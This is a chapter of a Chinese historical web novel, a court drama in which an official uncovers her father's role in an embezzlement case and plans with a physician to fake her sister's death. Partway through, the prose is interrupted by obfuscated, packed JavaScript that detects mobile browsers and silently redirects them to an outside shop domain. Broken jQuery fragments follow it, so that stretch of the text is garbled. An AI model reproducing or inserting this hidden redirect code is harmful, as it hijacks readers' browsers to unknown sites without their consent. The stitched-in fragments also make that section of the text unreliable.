39.怨党争
    在李羡意孜孜不倦地送球之下,周思仪总算在香灰燃尽前,进了本场的唯一一球。

    她刚一下马,便扑倒在李羡意的骡子身上,“李兕奴,我们赢了!这么高的赔率,你说我得赢多少银子!”

    李羡意翻身而下,明明骑着的是个矮胖笨拙的骡子,他却一副少年白马、银鞍赫赫、腾跃飞驰凌九衢的好模样。

    李羡意沉默半响,“我刚才帮你押得是王六郎……”

    “什么……”周思仪瞪大了嘴巴道,“李兕奴!你马球打得这样好,就算骑骡子也能赢,怎么能押王六郎呢?”

    李羡意没敢说因为他觉得周思知道输钱后的表情一定分外精彩啊,只能拧着眉头道,“我看他们都押得王六郎啊……”

    周思仪拉着李羡意的手道,“那我的月俸呢,李兕奴,我的月俸怎么办?”

    “你的月俸,赔了啊……”李羡意对她咬着耳朵道,“周大人若是露宿街头,缺衣少食,浴堂殿可以收留周大人。”

    周思仪气得跳脚,却又对李羡意敢怒不敢言。

    李羡意拉着周思仪的手道,“你要什么,我给你买,你不是说下午要去西市买胭脂吗,我陪你去。”

    周思仪气冲冲道,“李兕奴,我不止要养我自己,更要供养我的阿姐、还有我房中的丫鬟婆子,我不像圣人富有四海,想花多少就能花多少。”

    李羡意眯了眯眼睛,似乎真是考量着周思仪这话的真假,“周卿,你阿爷不给你月例银子吗?”

    “我们家是有几个田庄在外城郭,我阿爷也颇会打理家赀,”周思仪向李羡意数道,“但我已然行了冠礼,等成亲之后,说不定就要分家,怎么能还靠着阿爷给的月例活呢?”

    李羡意想起周青辅上辈子在周思仪死后牵扯出的几桩大案,他虽可以为了周思仪一时放过周青辅,却不能将这些事全都一笔勾销掉,当作无事发生。

    “文致,回去好生查一下你们家的帐,”李羡意沉默半响还是开口道,”我知道这朝上的三品大员中,谁家都有些阴私事,只要尚在可控范围内……朕保你无虞。”

    ——

    周思仪带着满腹疑窦回到了家中,周青辅正在百无聊赖地摆弄着她那只雪白的鹦鹉。

    周青辅指着雪衣道,“这鸟儿是个直肠子,只会乱拉乱尿,你若是再管不好这个鸟,我就把它扔出去。”

    周思韵抚弄着雪衣的尾羽道,“阿爷,这是御鸟,你若是扔了,文致如何向圣人交代?”

    周思仪点了点头,这可是她特地在龙首原上向李羡意偷来的,怎么能说扔就扔呢。

    周岁仪想了想李羡意特意向她强调的查账之事,还是上前对周青辅道,“阿爷,我昨日去平康坊找那假母对账册,我分明没去那么多次,那假母肯定坑了咱们家不少银子,我得赶紧带上帐房和管事,去找那假母要回来。”

    周思仪说罢便要离开却被周青辅身侧的小厮拦下,“文致,这账册是对的,这件事你就别管了。”

    “怎么会是对的呢,我四月的时候都在信州治水,怎么可能这么频繁的出入平康坊呢,”周思仪抱着从假母那里要来的账册向着周青辅道,“阿爷,这不是一笔小数目啊!”

    周思韵怕小妹再与阿爷冲突,只能柔声劝慰着周思仪道,“毕竟去平康坊讨钱这事实在是脸上无光,仪宝你……还是听阿爷的话吧。”

    “阿爷,你知不知道,现在大理寺、刑部、御史台,三司推事共查洛县治水贪腐案,其中最重要的线索一是姓严的官员,二就是这银子的底款,到时候查起来,是藏不住的,”周思仪拉着周青辅的袖口道,“阿爷,告诉我,为什么我们家在教坊司要常年保持这么高的支出?”

    “周文致,你是洛县治水贪腐案的主审,你难道要查到你阿爷我头上来吗?”周青辅看着自己迂腐的女儿连连摇头,“我送你崇文馆中念学,让你荫官不必如寒门举子一般一道一道考上来,你就这样回报家族的养育之恩的吗?”

    周思仪只觉得自己眼前白茫茫一片,全看不到光景出路在何处,她的眼角滴落一滴清泪道,“阿爷,洛县水患贪腐一事和你有关是不是,信州地头蛇的上峰是京城中一位姓严的大人,那位姓严的大人的上峰又是你,那阿爷你的上峰呢,太上皇吗?”

    “周文致,你以为这朝廷中人只有我们家与此事有关吗,贪官污吏是杀不完的,”周青辅举起手便欲扇周思仪,可最终还是放下了,“儿子,朝廷上下哪有那么多贪官,不过都是权利攘夺、排除异己而已,斗赢了青史留名,斗输了便遗臭万年……”

    “这是夷三族、流千里的大罪,周思仪你既然投胎到我们家,你便没得选,你知道吗?”

    “是啊,”周思仪将眼角的泪花用小指头随手拭去,“这件事查不清楚,这官也能笼笼统统地做下去,查清楚了我们全家都要去地底下见阎王……”

    周青辅只当她想清楚了,便不再发一语,“思韵,多劝劝你弟弟……提醒提醒她,你是多不容易才能从诏狱中出来,万没有自己去送死的道理!”

    周青辅走后,周思仪便扑倒在周思韵肩膀上放声大哭,“阿姐,我自诩为官多年,从未拿过一分民脂民膏,从未有一刻对不起百姓,可原来供养的我的银钱每一分上都沾着百姓的血泪,我往后的日日夜夜如何才能安然入睡啊。”

    周思韵如小时候哄她入睡一般一点一点地顺着她的背,“仪宝没事,仪宝无论做什么决定,阿姐都支持……”

    周思仪看低声软语的阿姐,她阿姐上辈子被无用的丈夫连累,莫名从云端之上一夕之间便为罪人,可他丈夫的旧部却嫌弃她没有第一时间殉夫,眼睁睁地看着她自戕在诏狱中。

    她在李羡意谄媚温顺,臣服跪拜,唯一希望的便是能够保全阿姐的性命,现如今阿姐好端端地搂着她,她怎么能因为一时的愤恨送阿姐丧命呢?

    周思仪紧紧地回抱住周思韵,“阿姐,无论如何,我都要你活着,等我日后乞骸骨了,我们就去扬州老家,再也不卷入朝廷党争可好?”

    ——

    周思仪自那日休沐之后,称病在家。

    李羡意本以为周思仪是又如从前一般少年心性、贪图玩乐,偶尔称个病出去玩两日也不是什么大事。

    可她却日卧病在床,连御史台的文书都要小厮取了到家中批阅了再送回去,他便知,周思仪这小身板是又病了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274109|137912||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    碍于周思韵此时也住在周青家中,李羡意不愿与他那名义上的寡嫂有什么牵扯,他便只派了牛柳一人周宅中替周思仪瞧病。

    牛柳提溜着药箱,先仔细地瞅了瞅周思仪的面色,又切过脉后才道,“周大人这次竟然不是真的,居然真是病了。”

    “我夜里贪凉受了风,劳烦牛太医为我多开几副药了。”

    “谈不上麻烦,我和周大人不过是互相利用的关系,”牛柳坐在案前写着方子,“周大人也记得查清了我师傅的案子再死。”

    周思仪扑哧笑道,“那等牛太医查清真相之后会失望吗,牛太医你心中奉为标榜的师傅,实际上也不过是长安城中求财求利求权的一介蝼蚁,这案子是不是还是不查清为妙?”

    牛柳眯了眯眼睛,眼色晦暗,“周思仪,你知道了什么?”

    周思仪薄唇轻启,“牛太医,我只是个书生,我只看得来文书,我分不清旁人说的哪句是真,哪句是假。”

    牛柳沉默片刻后道,“周大人,偷盗太医院密档是死罪。”

    “牛太医在圣人还做信王时便一直跟着他,圣人登基后,又为太医院案首,这么久了,牛太医就从来都没有好奇过当年发生了什么事情吗?”

    “我自然看过,”牛柳将写方子的笔停下,“周大人,我一个行医之人都看不出破绽,你又能看出什么?”

    周思仪仍旧凝视着他说话,牛柳沉默半晌后,终是点了头,“下次复诊之时,我将当年的脉案给周大人。”

    “牛太医,这就对了,我们蝼蚁之间要互帮互助才是,”周思仪勾起唇角道,“更何况,我还有事要请牛太医帮我呢?”

    “我想问问,牛太医这样好的医术,有没有法子能生死人、肉白骨?”

    牛柳扑哧一笑,“周大人,少读些民间话本,这是大罗神仙在世才能做到的事情,我只是一个看病的。”

    周思仪抓耳挠腮道,“那牛太医,有没有法子可以,骗过人的眼睛,让别人误以为那人已经死了。”

    “周大人是想金蝉脱壳,”牛柳思索了片刻才道,“周大人是想帮你姐姐金蝉脱壳?”

    牛柳察觉到了她心中所打的算盘,对着她咬牙切齿道,“周大人,你有没有想过事情败露之日,我们的下场?”

    “牛太医,咱们身上的死罪已经这么多了,还差这一桩吗?”周思仪点了点头后道,“就算你不帮我,我也会做的,反正迎头缩头都是一刀,我还不如带牛大人和我一起去见阎王。”

    “周思仪,我真是怕了你了,谁知道天底下最端方持重的小周大人竟这么会威胁人?”牛柳将脉枕放回药箱后,才开口道,“唯一的方法只上吊和闭气。”

    “你让你姐姐用白绫自戕,再在棺材上开个缝,下葬之后,再挖出来,”牛柳长叹一口气,“圣人到时定会让太医院的人检查尸身,我会尽力为周大人遮掩。”

    周思仪下榻后对着牛柳拜道,牛太医大恩大德,没齿难忘,唯有下辈子结草衔环来报。”

    牛柳摆了摆手望天道,“不必结草衔环,周大人是不忧思忧虑,梦魇难眠了,以后轮到我每天做噩梦怕一不小心就被圣人砍头了。”